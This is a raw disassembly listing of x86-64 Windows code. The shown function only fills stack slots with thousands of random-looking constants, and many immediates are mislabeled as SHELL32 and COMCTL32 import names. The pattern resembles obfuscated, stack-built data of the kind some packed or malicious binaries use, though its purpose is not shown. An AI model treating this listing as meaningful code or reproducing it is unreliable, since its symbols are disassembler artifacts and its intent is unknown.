mov byte [rsp + 0x265], reloc.SHELL32.dll_ILClone
mov byte [rsp + 0x266], 0x83
mov byte [rsp + 0x267], 0xf7
mov eax, 0x2e7
mov word [rsp + 0x177c], ax
mov eax, 0x4b1
mov word [rsp + 0x1780], ax
mov byte [rsp + 0x268], PathYetAnotherMakeUniqueName
movabs rax, 0x79b8ccced01dc4
mov qword [rsp + 0xb1e0], rax
movabs rax, 0x7e0e6241753139
mov qword [rsp + 0xb1e8], rax
movabs rax, 0x7595f859614271
mov qword [rsp + 0xb1f0], rax
mov byte [rsp + 0x269], reloc.COMCTL32.dll_LBItemFromPt
movabs rax, 0x740b8c388ec502
mov qword [rsp + 0xb1f8], rax
mov eax, 0x6aa
mov word [rsp + 0x1784], ax
mov dword [rsp + 0x5df0], 0x20b52caa
mov dword [rsp + 0x5df4], 0x7b6d2bc1
movabs rax, 0x77997402bce6a0
mov qword [rsp + 0xb200], rax
mov eax, 0x47b
mov word [rsp + 0x1788], ax
movabs rax, 0x710d42371d9629
mov qword [rsp + 0xb208], rax
mov dword [rsp + 0x5df8], 0x9350
mov eax, 0x68d
mov word [rsp + 0x178c], ax
movabs rax, 0x7a70ae8658a46a
mov qword [rsp + 0xb210], rax
mov byte [rsp + 0x26a], 7
mov eax, 0x318
mov word [rsp + 0x1790], ax
mov byte [rsp + 0x26b], 0x21
mov eax, 0x53e
mov word [rsp + 0x1794], ax
movabs rax, 0x7df4b845677203
mov qword [rsp + 0xb218], rax
movabs rax, 0x7aa9c7302884b8
mov qword [rsp + 0xb220], rax
movabs rax, 0x7a95d4fd6ee388
mov qword [rsp + 0xb228], rax
movabs rax, 0x76bfe883b24b89
mov qword [rsp + 0xb230], rax
mov eax, 0xa7a
mov word [rsp + 0x1798], ax
mov byte [rsp + 0x26c], reloc.SHELL32.dll_ILIsEqual
mov dword [rsp + 0x5dfc], 0x5174
movabs rax, 0x75c02f2b769835
mov qword [rsp + 0xb238], rax
mov dword [rsp + 0x5e00], 0x6946310d
mov dword [rsp + 0x5e04], 0x6bfd
mov dword [rsp + 0x5e08], 0x12b0
mov eax, 0xa06
mov word [rsp + 0x179c], ax
mov dword [rsp + 0x5e0c], 0xb8d7
mov dword [rsp + 0x5e10], 0x654c
mov dword [rsp + 0x5e14], 0x3412
mov eax, 0x6ed
mov word [rsp + 0x17a0], ax
mov eax, 0x699
mov word [rsp + 0x17a4], ax
mov eax, 0xd39
mov word [rsp + 0x17a8], ax
mov eax, 0xfcd
mov word [rsp + 0x17ac], ax
movabs rax, 0x719e96fb7f6e32
mov qword [rsp + 0xb240], rax
movabs rax, 0x722e83637b1f5d
mov qword [rsp + 0xb248], rax
mov eax, 0x6b9
mov word [rsp + 0x17b0], ax
mov dword [rsp + 0x5e18], 0xc318
mov dword [rsp + 0x5e1c], 0x2416f3a0
mov eax, 0xede
mov word [rsp + 0x17b4], ax
mov byte [rsp + 0x26d], reloc.SHELL32.dll_ILFindLastID
mov dword [rsp + 0x5e20], 0x655d4eb0
mov byte [rsp + 0x26e], 0x3f
movabs rax, 0x745baff08795ac
mov qword [rsp + 0xb250], rax
mov eax, 0x167
mov word [rsp + 0x17b8], ax
movabs rax, 0x7ec0b659c3184f
mov qword [rsp + 0xb258], rax
mov eax, 0xf9
mov word [rsp + 0x17bc], ax
mov eax, 0x579
mov word [rsp + 0x17c0], ax
movabs rax, 0x705ebaa1a60240
mov qword [rsp + 0xb260], rax
movabs rax, 0x7518fc3588af4a
mov qword [rsp + 0xb268], rax
mov eax, 0x64d
mov word [rsp + 0x17c4], ax
movabs rax, 0x7d430e779eef90
mov qword [rsp + 0xb270], rax
mov eax, 0x39e
mov word [rsp + 0x17c8], ax
mov eax, 0xa3
mov word [rsp + 0x17cc], ax
mov dword [rsp + 0x5e24], 0xbbe3
mov byte [rsp + 0x26f], 0xc8
mov eax, 0xe48
mov word [rsp + 0x17d0], ax
mov dword [rsp + 0x5e28], 0x8a39
mov eax, 0xca5
mov word [rsp + 0x17d4], ax
mov eax, 0x5e8
mov word [rsp + 0x17d8], ax
mov dword [rsp + 0x5e2c], 0x100945b4
movabs rax, 0x75011528e449f6
mov qword [rsp + 0xb278], rax
mov dword [rsp + 0x5e30], 0x534888a
mov byte [rsp + 0x270], 0xa
mov eax, 0x66b
mov word [rsp + 0x17dc], ax
mov dword [rsp + 0x5e34], 0xb6c
movabs rax, 0x7cfe6fae5aee1a
mov qword [rsp + 0xb280], rax
mov byte [rsp + 0x271], 0xdf
movabs rax, 0x76208031289039
mov qword [rsp + 0xb288], rax
mov eax, 0xdb
mov word [rsp + 0x17e0], ax
movabs rax, 0x77361ea8c6500c
mov qword [rsp + 0xb290], rax
movabs rax, 0x757f1ea4ef267f
mov qword [rsp + 0xb298], rax
mov byte [rsp + 0x272], 0x78
mov eax, 0x348
mov word [rsp + 0x17e4], ax
mov eax, 0x37
mov word [rsp + 0x17e8], ax
mov byte [rsp + 0x273], PathYetAnotherMakeUniqueName
mov eax, reloc.SHELL32.dll_SHChangeNotification_Lock
mov word [rsp + 0x17ec], ax
movabs rax, 0x79d00b57a47122
mov qword [rsp + 0xb2a0], rax
mov eax, 0x3b6
mov word [rsp + 0x17f0], ax
mov eax, 0x69e
mov word [rsp + 0x17f4], ax
movabs rax, 0x7d01af39fa94ea
mov qword [rsp + 0xb2a8], rax
mov byte [rsp + 0x274], 0xa6
mov dword [rsp + 0x5e38], 0x1972
movabs rax, 0x7b05e5b36094ab
mov qword [rsp + 0xb2b0], rax
movabs rax, 0x79228a6cefdbd7
mov qword [rsp + 0xb2b8], rax
mov byte [rsp + 0x275], 0xcb
movabs rax, 0x75fbe4e9c2513b
mov qword [rsp + 0xb2c0], rax
movabs rax, 0x79176114218da9
mov qword [rsp + 0xb2c8], rax
movabs rax, 0x7182e878de53a7
mov qword [rsp + 0xb2d0], rax
mov byte [rsp + 0x276], 0x85
mov eax, 0x83f
mov word [rsp + 0x17f8], ax
mov byte [rsp + 0x277], 0xd5
mov eax, 0x7f2
mov word [rsp + 0x17fc], ax
mov byte [rsp + 0x278], 4
movabs rax, 0x75e522bdf9920c
mov qword [rsp + 0xb2d8], rax
movabs rax, 0x7d85b6fd4c240d
mov qword [rsp + 0xb2e0], rax
mov dword [rsp + 0x5e3c], 0x5b64
movabs rax, 0x7db1b9e93500b9
mov qword [rsp + 0xb2e8], rax
mov byte [rsp + 0x279], reloc.SHELL32.dll_ILFindLastID
mov byte [rsp + 0x27a], SHSetInstanceExplorer
movabs rax, 0x705f0fede465bb
mov qword [rsp + 0xb2f0], rax
movabs rax, 0x73f26d01e56c94
mov qword [rsp + 0xb2f8], rax
movabs rax, 0x73f3cee4d40ec2
mov qword [rsp + 0xb300], rax
mov eax, 0x62
mov word [rsp + 0x1800], ax
mov eax, 0xb59
mov word [rsp + 0x1804], ax
movabs rax, 0x76cea083608f22
mov qword [rsp + 0xb308], rax
mov eax, 0x70
mov word [rsp + 0x1808], ax
mov eax, 0xe9b
mov word [rsp + 0x180c], ax
mov dword [rsp + 0x5e40], 0x604440a9
movabs rax, 0x75822a20f11f19
mov qword [rsp + 0xb310], rax
mov eax, 0xb2b
mov word [rsp + 0x1810], ax
mov dword [rsp + 0x5e44], 0xb9b
mov eax, 0x49f
mov word [rsp + 0x1814], ax
movabs rax, 0x74b172837e3458
mov qword [rsp + 0xb318], rax
mov byte [rsp + 0x27b], 0x78
movabs rax, 0x75fa4b7e882aac
mov qword [rsp + 0xb320], rax
movabs rax, 0x7bfa7702b135af
mov qword [rsp + 0xb328], rax
mov dword [rsp + 0x5e48], 0xfab6
mov byte [rsp + 0x27c], PathYetAnotherMakeUniqueName
mov eax, 0x36
mov word [rsp + 0x1818], ax
movabs rax, 0x7a277443b60d75
mov qword [rsp + 0xb330], rax
mov eax, 0x16d
mov word [rsp + 0x181c], ax
mov dword [rsp + 0x5e4c], 0x73f
mov byte [rsp + 0x27d], 0x30
movabs rax, 0x75f3f43b41439f
mov qword [rsp + 0xb338], rax
mov dword [rsp + 0x5e50], 0x646f6e41
mov eax, 0x430
mov word [rsp + 0x1820], ax
mov eax, 0x6b2
mov word [rsp + 0x1824], ax
movabs rax, 0x7ccb4d53685de0
mov qword [rsp + 0xb340], rax
movabs rax, 0x7d3da972feaed6
mov qword [rsp + 0xb348], rax
movabs rax, 0x7c3b3c8a0ac3d8
mov qword [rsp + 0xb350], rax
mov dword [rsp + 0x5e54], 0x4c02e98e
mov eax, 0x554
mov word [rsp + 0x1828], ax
mov dword [rsp + 0x5e58], 0x5c51
mov eax, 0x5b0
mov word [rsp + 0x182c], ax
movabs rax, 0x77cf4a2f6953f9
mov qword [rsp + 0xb358], rax
mov byte [rsp + 0x27e], 0x7b
mov dword [rsp + 0x5e5c], 0xc92c
movabs rax, 0x74124b377c0993
mov qword [rsp + 0xb360], rax
mov eax, 0xc67
mov word [rsp + 0x1830], ax
mov byte [rsp + 0x27f], 0x5c
movabs rax, 0x74773267c0b324
mov qword [rsp + 0xb368], rax
movabs rax, 0x7cd8f76f16e794
mov qword [rsp + 0xb370], rax
movabs rax, 0x7d3d0458fcd269
mov qword [rsp + 0xb378], rax
mov byte [rsp + 0x280], 0x38
movabs rax, 0x73c932df488842
mov qword [rsp + 0xb380], rax
movabs rax, 0x72eec0254bbcef
mov qword [rsp + 0xb388], rax
mov dword [rsp + 0x5e60], 0xb97c
mov dword [rsp + 0x5e64], 0xbcab
movabs rax, 0x73e9aca9f9beb5
mov qword [rsp + 0xb390], rax
movabs rax, 0x7effba47fb165d
mov qword [rsp + 0xb398], rax
movabs rax, 0x7252b068a5c78e
mov qword [rsp + 0xb3a0], rax
mov eax, 0x8bc
mov word [rsp + 0x1834], ax
mov byte [rsp + 0x281], 0x30
movabs rax, 0x7e871649cd05ae
mov qword [rsp + 0xb3a8], rax
mov eax, 0x449
mov word [rsp + 0x1838], ax
mov dword [rsp + 0x5e68], 0x74b15b2c
mov byte [rsp + 0x282], 0xca
mov dword [rsp + 0x5e6c], 0xe1bd
mov byte [rsp + 0x283], SHSetInstanceExplorer
mov eax, 0x145
mov word [rsp + 0x183c], ax
mov dword [rsp + 0x5e70], 0x58bd99e
mov byte [rsp + reloc.SHELL32.dll_SHChangeNotification_Lock], 0x61
movabs rax, 0x79363168b32c56
mov qword [rsp + 0xb3b0], rax
mov eax, 0x98d
mov word [rsp + 0x1840], ax
movabs rax, 0x78d196960967e0
mov qword [rsp + 0xb3b8], rax
mov dword [rsp + 0x5e74], 0x779d
mov byte [rsp + reloc.SHELL32.dll_SHChangeNotification_Unlock], 0x5f
mov eax, 0x93b
mov word [rsp + 0x1844], ax
mov eax, 0x295
mov word [rsp + 0x1848], ax
mov eax, 0x967
mov word [rsp + 0x184c], ax
mov byte [rsp + 0x286], 0x41
mov dword [rsp + 0x5e78], 0x797a
mov eax, 0x782
mov word [rsp + 0x1850], ax
movabs rax, 0x75adfb83c3b8d7
mov qword [rsp + 0xb3c0], rax
movabs rax, 0x7be57a705fee2b
mov qword [rsp + 0xb3c8], rax
mov byte [rsp + 0x287], 0x59
mov byte [rsp + 0x288], reloc.COMCTL32.dll_LBItemFromPt
movabs rax, 0x70ba94a8e5105f
mov qword [rsp + 0xb3d0], rax
movabs rax, 0x72396b30059666
mov qword [rsp + 0xb3d8], rax
movabs rax, 0x744b38409bc7b7
mov qword [rsp + 0xb3e0], rax
mov eax, 0xc3b
mov word [rsp + 0x1854], ax
mov dword [rsp + 0x5e7c], 0xf125
mov eax, 0x80d
mov word [rsp + 0x1858], ax
mov dword [rsp + 0x5e80], 0x584
movabs rax, 0x7376855adea9de
mov qword [rsp + 0xb3e8], rax
mov byte [rsp + 0x289], 0x76
mov dword [rsp + 0x5e84], 0x368d71e4
mov dword [rsp + 0x5e88], 0xe529
mov eax, 0x5bd
mov word [rsp + 0x185c], ax
mov dword [rsp + 0x5e8c], 0x7a5f
mov eax, 0x5f5
mov word [rsp + 0x1860], ax
mov dword [rsp + 0x5e90], 0xbc00
movabs rax, 0x75d2a561812e27
mov qword [rsp + 0xb3f0], rax
mov eax, 0x6c0
mov word [rsp + 0x1864], ax
mov eax, 0x15e
mov word [rsp + 0x1868], ax
mov dword [rsp + 0x5e94], 0x457e
mov eax, 0x1b0
mov word [rsp + 0x186c], ax
mov eax, 0x26e
mov word [rsp + 0x1870], ax
mov eax, 0x1fa
mov word [rsp + 0x1874], ax
mov byte [rsp + 0x28a], 0x82
movabs rax, 0x7701e9de12a352
mov qword [rsp + 0xb3f8], rax
movabs rax, 0x7b19617a6348e9
mov qword [rsp + 0xb400], rax
movabs rax, 0x7e62cfff35e657
mov qword [rsp + 0xb408], rax
movabs rax, 0x7a9cdaecca0624
mov qword [rsp + 0xb410], rax
mov eax, 0xb6b
mov word [rsp + 0x1878], ax
mov eax, 0x2f3
mov word [rsp + 0x187c], ax
mov eax, 0x8c1
mov word [rsp + 0x1880], ax
movabs rax, 0x7ef86da862815e
mov qword [rsp + 0xb418], rax
mov dword [rsp + 0x5e98], 0x6ae
mov eax, 0x180
mov word [rsp + 0x1884], ax
mov dword [rsp + 0x5e9c], 0xf6db
mov dword [rsp + 0x5ea0], 0xe983
mov dword [rsp + 0x5ea4], 0x8fdb
mov eax, 0x6ec
mov word [rsp + 0x1888], ax
movabs rax, 0x76b2ed73577080
mov qword [rsp + 0xb420], rax
movabs rax, 0x7d4b2cf6ba7f20
mov qword [rsp + 0xb428], rax
mov eax, 0x57e
mov word [rsp + 0x188c], ax
mov eax, 0x7c9
mov word [rsp + 0x1890], ax
movabs rax, 0x737fbf7d681e4d
mov qword [rsp + 0xb430], rax
movabs rax, 0x72999f51b71f57
mov qword [rsp + 0xb438], rax
mov eax, 0xb9c
mov word [rsp + 0x1894], ax
mov dword [rsp + 0x5ea8], 0x6e1a44be
mov dword [rsp + 0x5eac], 0x7d8f6be6
mov eax, 0x4d6
mov word [rsp + 0x1898], ax
mov eax, 0x1f7
mov word [rsp + 0x189c], ax
movabs rax, 0x7add87fa0aa5de
mov qword [rsp + 0xb440], rax
movabs rax, 0x78b543d5c4076b
mov qword [rsp + 0xb448], rax
movabs rax, 0x7657a6c20c07ce
mov qword [rsp + 0xb450], rax
mov eax, 0x87
mov word [rsp + 0x18a0], ax
mov dword [rsp + 0x5eb0], 0x71d4
mov eax, reloc.SHELL32.dll_PathYetAnotherMakeUniqueName
mov word [rsp + 0x18a4], ax
mov eax, 0x55d
mov word [rsp + 0x18a8], ax
mov byte [rsp + 0x28b], 0x23
mov eax, 0xc8d
mov word [rsp + 0x18ac], ax
movabs rax, 0x7a5f32eed7dc16
mov qword [rsp + 0xb458], rax
mov dword [rsp + 0x5eb4], 0x3f40
mov eax, 0x8fa
mov word [rsp + 0x18b0], ax
movabs rax, 0x7a6608eb429e3d
mov qword [rsp + 0xb460], rax
movabs rax, 0x706d0aca4a8a06
mov qword [rsp + 0xb468], rax
mov dword [rsp + 0x5eb8], 0x4b23
mov eax, 0x861
mov word [rsp + 0x18b4], ax
mov eax, 0x336
mov word [rsp + 0x18b8], ax
mov eax, 0x70d
mov word [rsp + 0x18bc], ax
mov dword [rsp + 0x5ebc], 0x4d01
mov dword [rsp + 0x5ec0], 0x38e1
movabs rax, 0x7188aa0b0dd990
mov qword [rsp + 0xb470], rax
mov eax, 0xa9
mov word [rsp + 0x18c0], ax
mov eax, 0x871
mov word [rsp + 0x18c4], ax
mov byte [rsp + 0x28c], SHDoDragDrop
mov eax, 0xc55
mov word [rsp + 0x18c8], ax
mov byte [rsp + 0x28d], 0x5f
mov eax, 0x1d3
mov word [rsp + 0x18cc], ax
mov byte [rsp + 0x28e], 7
movabs rax, 0x776d0c23bc1862
mov qword [rsp + 0xb478], rax
mov dword [rsp + 0x5ec4], 0x48574163
mov eax, 0x9f
mov word [rsp + 0x18d0], ax
movabs rax, 0x7aa5efae85a62a
mov qword [rsp + 0xb480], rax
mov eax, 0x689
mov word [rsp + 0x18d4], ax
mov eax, 0xe03
mov word [rsp + 0x18d8], ax
mov eax, 0xf34
mov word [rsp + 0x18dc], ax
mov eax, 0x3cb
mov word [rsp + 0x18e0], ax
movabs rax, 0x7c15b243002605
mov qword [rsp + 0xb488], rax
mov byte [rsp + 0x28f], 0x3a
movabs rax, 0x7e632d4445259b
mov qword [rsp + 0xb490], rax
mov eax, 0x633
mov word [rsp + 0x18e4], ax
mov byte [rsp + 0x290], 0x69
mov eax, 0x538
mov word [rsp + 0x18e8], ax
mov eax, 0xbfa
mov word [rsp + 0x18ec], ax
movabs rax, 0x7255b8a1eed468
mov qword [rsp + 0xb498], rax
mov dword [rsp + 0x5ec8], 0x66c38ec3
movabs rax, 0x7b85603ad70dc6
mov qword [rsp + 0xb4a0], rax
movabs rax, 0x74ed3519fe3538
mov qword [rsp + 0xb4a8], rax
movabs rax, 0x7ee8f4ebef1f32
mov qword [rsp + 0xb4b0], rax
mov dword [rsp + 0x5ecc], 0xc119
movabs rax, 0x7dde0e3ca45277
mov qword [rsp + 0xb4b8], rax
mov eax, 0x193
mov word [rsp + 0x18f0], ax
mov eax, 0xd70
mov word [rsp + 0x18f4], ax
movabs rax, 0x70a1b3b15d4bf4
mov qword [rsp + 0xb4c0], rax
mov eax, 0x812
mov word [rsp + 0x18f8], ax
movabs rax, 0x7976846bb0324c
mov qword [rsp + 0xb4c8], rax
mov eax, 0x880
mov word [rsp + 0x18fc], ax
mov byte [rsp + 0x291], 0x37
movabs rax, 0x760d1ec19bd8c9
mov qword [rsp + 0xb4d0], rax
mov dword [rsp + 0x5ed0], 0x2d21
movabs rax, 0x7ab5cc7b68f99e
mov qword [rsp + 0xb4d8], rax
mov byte [rsp + 0x292], 8
mov byte [rsp + 0x293], 0x8b
mov eax, 0x67f
mov word [rsp + 0x1900], ax
mov eax, 0xfc
mov word [rsp + 0x1904], ax
mov dword [rsp + 0x5ed4], 0x5900df25
mov byte [rsp + 0x294], 0x5e
movabs rax, 0x7a37f3e32991c3
mov qword [rsp + 0xb4e0], rax
mov eax, 0xd15
mov word [rsp + 0x1908], ax
movabs rax, 0x7c5fb305079377
mov qword [rsp + 0xb4e8], rax
movabs rax, 0x7d81a7f98d9322
mov qword [rsp + 0xb4f0], rax
mov eax, 0xc76
mov word [rsp + 0x190c], ax
mov dword [rsp + 0x5ed8], 0x1889
movabs rax, 0x7662dbcb07913a
mov qword [rsp + 0xb4f8], rax
movabs rax, 0x72edfb1c763508
mov qword [rsp + 0xb500], rax
mov eax, 0x794
mov word [rsp + 0x1910], ax
mov dword [rsp + 0x5edc], 0xd908
mov byte [rsp + 0x295], reloc.SHELL32.dll_ILFindLastID
movabs rax, 0x7e19421ecd0041
mov qword [rsp + 0xb508], rax
mov dword [rsp + 0x5ee0], 0x66fe
movabs rax, 0x742506b08279b6
mov qword [rsp + 0xb510], rax
mov eax, 0x1af
mov word [rsp + 0x1914], ax
movabs rax, 0x7dc367f9d1d1f2
mov qword [rsp + 0xb518], rax
mov dword [rsp + 0x5ee4], 0x331c
mov eax, 0x469
mov word [rsp + 0x1918], ax
mov dword [rsp + 0x5ee8], 0x6040
mov dword [rsp + 0x5eec], 0xd3cf
mov eax, 0x4a5
mov word [rsp + 0x191c], ax
mov eax, 0x448
mov word [rsp + 0x1920], ax
movabs rax, 0x70f2148102d30c
mov qword [rsp + 0xb520], rax
mov byte [rsp + 0x296], 0x6a
movabs rax, 0x77f681bc57ae78
mov qword [rsp + 0xb528], rax
mov dword [rsp + 0x5ef0], 0xddf4
mov dword [rsp + 0x5ef4], 0x66f84985
mov byte [rsp + 0x297], 0x27
mov eax, 0xd0f
mov word [rsp + 0x1924], ax
movabs rax, 0x75ddf9b6806ac9
mov qword [rsp + 0xb530], rax
mov eax, SHDoDragDrop
mov word [rsp + 0x1928], ax
movabs rax, 0x72189b6d1eb272
mov qword [rsp + 0xb538], rax
movabs rax, 0x7df1f125017db8
mov qword [rsp + 0xb540], rax
mov eax, 0xd30
mov word [rsp + 0x192c], ax
mov byte [rsp + 0x298], 0x35
mov byte [rsp + 0x299], PathMakeUniqueName
mov byte [rsp + 0x29a], 0xea
mov byte [rsp + 0x29b], reloc.COMCTL32.dll_LBItemFromPt
movabs rax, 0x736b98b88af7ef
mov qword [rsp + 0xb548], rax
mov byte [rsp + 0x29c], 0xa1
mov dword [rsp + 0x5ef8], 0xfb8b
mov eax, 0x6fa
mov word [rsp + 0x1930], ax
movabs rax, 0x7e6af89e082d2c
mov qword [rsp + 0xb550], rax
movabs rax, 0x7cce1bb640658f
mov qword [rsp + 0xb558], rax
movabs rax, 0x7022ed2edca01f
mov qword [rsp + 0xb560], rax
mov byte [rsp + 0x29d], 0x42
mov dword [rsp + 0x5efc], 0x1f608014
mov eax, 0xbee
mov word [rsp + 0x1934], ax
mov eax, 0x800
mov word [rsp + 0x1938], ax
movabs rax, 0x78f05c71f9ef54
mov qword [rsp + 0xb568], rax
mov dword [rsp + 0x5f00], 0x92e1
mov eax, 0x178
mov word [rsp + 0x193c], ax
movabs rax, 0x7bfab0e534d68d
mov qword [rsp + 0xb570], rax
movabs rax, 0x71ddb49a9afcbd
mov qword [rsp + 0xb578], rax
mov byte [rsp + 0x29e], PathYetAnotherMakeUniqueName
mov eax, 0x73e
mov word [rsp + 0x1940], ax
mov eax, SHSetInstanceExplorer
mov word [rsp + 0x1944], ax
mov dword [rsp + 0x5f04], 0x9961
mov eax, 0x22c
mov word [rsp + 0x1948], ax
mov eax, 0x77
mov word [rsp + 0x194c], ax
movabs rax, 0x7d90d6a60073a3
mov qword [rsp + 0xb580], rax
movabs rax, 0x7ee9b67faac3ea
mov qword [rsp + 0xb588], rax
mov byte [rsp + 0x29f], 0x26
mov dword [rsp + 0x5f08], 0x3644e3e1
mov byte [rsp + 0x2a0], 0x3b
mov eax, 0x788
mov word [rsp + 0x1950], ax
mov dword [rsp + 0x5f0c], 0xaac0
mov eax, 0x2f7
mov word [rsp + 0x1954], ax
mov byte [rsp + 0x2a1], SHDoDragDrop
mov eax, 0xc72
mov word [rsp + 0x1958], ax
mov byte [rsp + 0x2a2], PathYetAnotherMakeUniqueName
mov byte [rsp + 0x2a3], reloc.SHELL32.dll_PathMakeUniqueName
movabs rax, 0x7d3ae5f43c405a
mov qword [rsp + 0xb590], rax
mov byte [rsp + 0x2a4], reloc.SHELL32.dll_ILFindLastID
mov byte [rsp + 0x2a5], 0x9f
movabs rax, 0x76d34bb5002567
mov qword [rsp + 0xb598], rax
mov dword [rsp + 0x5f10], 0x8790
mov byte [rsp + 0x2a6], 0x5a
mov dword [rsp + 0x5f14], 0x2246
mov dword [rsp + 0x5f18], 0xe1b1
movabs rax, 0x76898d0ad7bb0d
mov qword [rsp + 0xb5a0], rax
movabs rax, 0x70cba7e5fd4842
mov qword [rsp + 0xb5a8], rax
mov byte [rsp + 0x2a7], 0x6f
movabs rax, 0x78cbd7ae877852
mov qword [rsp + 0xb5b0], rax
mov dword [rsp + 0x5f1c], 0x72e3
movabs rax, 0x7359e4658d549c
mov qword [rsp + 0xb5b8], rax
mov dword [rsp + 0x5f20], 0x2b8bf9f4
mov byte [rsp + 0x2a8], PathMakeUniqueName
movabs rax, 0x7119bf5c3f17a6
mov qword [rsp + 0xb5c0], rax
movabs rax, 0x7e866c33ba7182
mov qword [rsp + 0xb5c8], rax
mov byte [rsp + 0x2a9], 0x30
mov byte [rsp + 0x2aa], 0x62
mov byte [rsp + 0x2ab], PathMakeUniqueName
movabs rax, 0x79350c586a4244
mov qword [rsp + 0xb5d0], rax
movabs rax, 0x79cbc6a90f8096
mov qword [rsp + 0xb5d8], rax
movabs rax, 0x77e30a01715212
mov qword [rsp + 0xb5e0], rax
mov dword [rsp + 0x5f24], 0x87b3
mov eax, 0xf69
mov word [rsp + 0x195c], ax
mov byte [rsp + 0x2ac], 0xde
movabs rax, 0x75028c161c0b7b
mov qword [rsp + 0xb5e8], rax
mov dword [rsp + 0x5f28], 0x9008
mov byte [rsp + 0x2ad], 0x20
movabs rax, 0x74d884192a7bef
mov qword [rsp + 0xb5f0], rax
mov eax, 0x6f8
mov word [rsp + 0x1960], ax
movabs rax, 0x73c8d4a7a9010b
mov qword [rsp + 0xb5f8], rax
mov dword [rsp + 0x5f2c], 0x2ec9
movabs rax, 0x766d6c8e4284fc
mov qword [rsp + 0xb600], rax
movabs rax, 0x727f34ed5a1fb1
mov qword [rsp + 0xb608], rax
mov eax, 0x599
mov word [rsp + 0x1964], ax
mov byte [rsp + 0x2ae], PathYetAnotherMakeUniqueName
mov dword [rsp + 0x5f30], 0x764780c
mov eax, 0xbcb
mov word [rsp + 0x1968], ax
movabs rax, 0x76b20b2376b362
mov qword [rsp + 0xb610], rax
mov eax, 0x2a4
mov word [rsp + 0x196c], ax
mov eax, 0x769
mov word [rsp + 0x1970], ax
movabs rax, 0x77b294c4ca210d
mov qword [rsp + 0xb618], rax
mov byte [rsp + 0x2af], 0x1f
mov eax, 0x59b
mov word [rsp + 0x1974], ax
mov byte [rsp + 0x2b0], reloc.SHELL32.dll_ILRemoveLastID
movabs rax, 0x77109db6ea6d81
mov qword [rsp + 0xb620], rax
mov eax, 0x1da
mov word [rsp + 0x1978], ax
mov byte [rsp + 0x2b1], 0x60
movabs rax, 0x7471794acd1118
mov qword [rsp + 0xb628], rax
mov dword [rsp + 0x5f34], 0x3848
mov eax, 0x242
mov word [rsp + 0x197c], ax
mov dword [rsp + 0x5f38], 0x6d993137
mov byte [rsp + 0x2b2], 0xfd
mov byte [rsp + 0x2b3], 0x5d
mov byte [rsp + 0x2b4], 0x4d
movabs rax, 0x7256f0afb9b856
mov qword [rsp + 0xb630], rax
movabs rax, 0x7786debea69d35
mov qword [rsp + 0xb638], rax
mov eax, 0x78f
mov word [rsp + 0x1980], ax
mov eax, 0x63e
mov word [rsp + 0x1984], ax
mov eax, 0xe11
mov word [rsp + 0x1988], ax
movabs rax, 0x77031437c49eb2
mov qword [rsp + 0xb640], rax
movabs rax, 0x7ed709913e3453
mov qword [rsp + 0xb648], rax
mov byte [rsp + 0x2b5], 0x6a
movabs rax, 0x7656e24cf39d88
mov qword [rsp + 0xb650], rax
movabs rax, 0x7c900503643811
mov qword [rsp + 0xb658], rax
mov eax, 0x762
mov word [rsp + 0x198c], ax
mov eax, 0xc24
mov word [rsp + 0x1990], ax
mov byte [rsp + 0x2b6], reloc.SHELL32.dll_ILFindLastID
mov eax, 0x598
mov word [rsp + 0x1994], ax
movabs rax, 0x705d73722a93a2
mov qword [rsp + 0xb660], rax
mov dword [rsp + 0x5f3c], 0x21a1
mov dword [rsp + 0x5f40], 0x1529
mov byte [rsp + 0x2b7], 0x6d
movabs rax, 0x7ecdccbef618ed
mov qword [rsp + 0xb668], rax
mov eax, 0x50c
mov word [rsp + 0x1998], ax
movabs rax, 0x722de704130738
mov qword [rsp + 0xb670], rax
mov eax, 0xff
mov word [rsp + 0x199c], ax
mov byte [rsp + 0x2b8], 0x6c
mov eax, 0xee3
mov word [rsp + 0x19a0], ax
mov byte [rsp + 0x2b9], 0x30
mov byte [rsp + 0x2ba], 0x30
mov eax, 0xc98
mov word [rsp + 0x19a4], ax
movabs rax, 0x7c26b1486bcc4d
mov qword [rsp + 0xb678], rax
mov byte [rsp + 0x2bb], 0x20
movabs rax, 0x7e7c07778295fe
mov qword [rsp + 0xb680], rax
mov byte [rsp + 0x2bc], 0x8e
mov byte [rsp + 0x2bd], 0x21
movabs rax, 0x7d777a6201e63e
mov qword [rsp + 0xb688], rax
movabs rax, 0x76b07ca8c43c86
mov qword [rsp + 0xb690], rax
mov eax, 0x6dd
mov word [rsp + 0x19a8], ax
mov dword [rsp + 0x5f44], 0xa3361ff
mov eax, 0xc3f
mov word [rsp + 0x19ac], ax
movabs rax, 0x7661eab99e28dc
mov qword [rsp + 0xb698], rax
movabs rax, 0x7620c5d2dc8f0d
mov qword [rsp + 0xb6a0], rax
mov eax, 5
mov word [rsp + 0x19b0], ax
mov dword [rsp + 0x5f48], 0x543d
mov byte [rsp + 0x2be], 0x42
mov dword [rsp + 0x5f4c], 0x13fc
mov dword [rsp + 0x5f50], 0xdc69
movabs rax, 0x7e519c882bf78a
mov qword [rsp + 0xb6a8], rax
mov dword [rsp + 0x5f54], 0xa5cb
movabs rax, 0x7d03ab835f03e3
mov qword [rsp + 0xb6b0], rax
mov eax, 0xf9
mov word [rsp + 0x19b4], ax
mov eax, 0x3c9
mov word [rsp + 0x19b8], ax
movabs rax, 0x7c0d0b30223b96
mov qword [rsp + 0xb6b8], rax
mov eax, 0xa8
mov word [rsp + 0x19bc], ax
movabs rax, 0x7eefedd2121182
mov qword [rsp + 0xb6c0], rax
movabs rax, 0x7d601e2a3ec848
mov qword [rsp + 0xb6c8], rax
mov dword [rsp + 0x5f58], 0x696cac64
movabs rax, 0x7aa41ab5f0c923
mov qword [rsp + 0xb6d0], rax
movabs rax, 0x79132edc5f76ca
mov qword [rsp + 0xb6d8], rax
mov dword [rsp + 0x5f5c], 0x22a5
movabs rax, 0x78ea6662180d1d
mov qword [rsp + 0xb6e0], rax
mov byte [rsp + 0x2bf], 0xc3
mov eax, 0x222
mov word [rsp + 0x19c0], ax
movabs rax, 0x785ac076a88e82
mov qword [rsp + 0xb6e8], rax
mov byte [rsp + 0x2c0], PathMakeUniqueName
mov eax, 0x6e1
mov word [rsp + 0x19c4], ax
movabs rax, 0x78ea8a76545ac5
mov qword [rsp + 0xb6f0], rax
movabs rax, 0x7cca9168549ec0
mov qword [rsp + 0xb6f8], rax
mov dword [rsp + 0x5f60], 0x19a23da5
mov eax, 0xc57
mov word [rsp + 0x19c8], ax
mov eax, 0x1f4
mov word [rsp + 0x19cc], ax
mov eax, 0x414
mov word [rsp + 0x19d0], ax
movabs rax, 0x731f3633634231
mov qword [rsp + 0xb700], rax
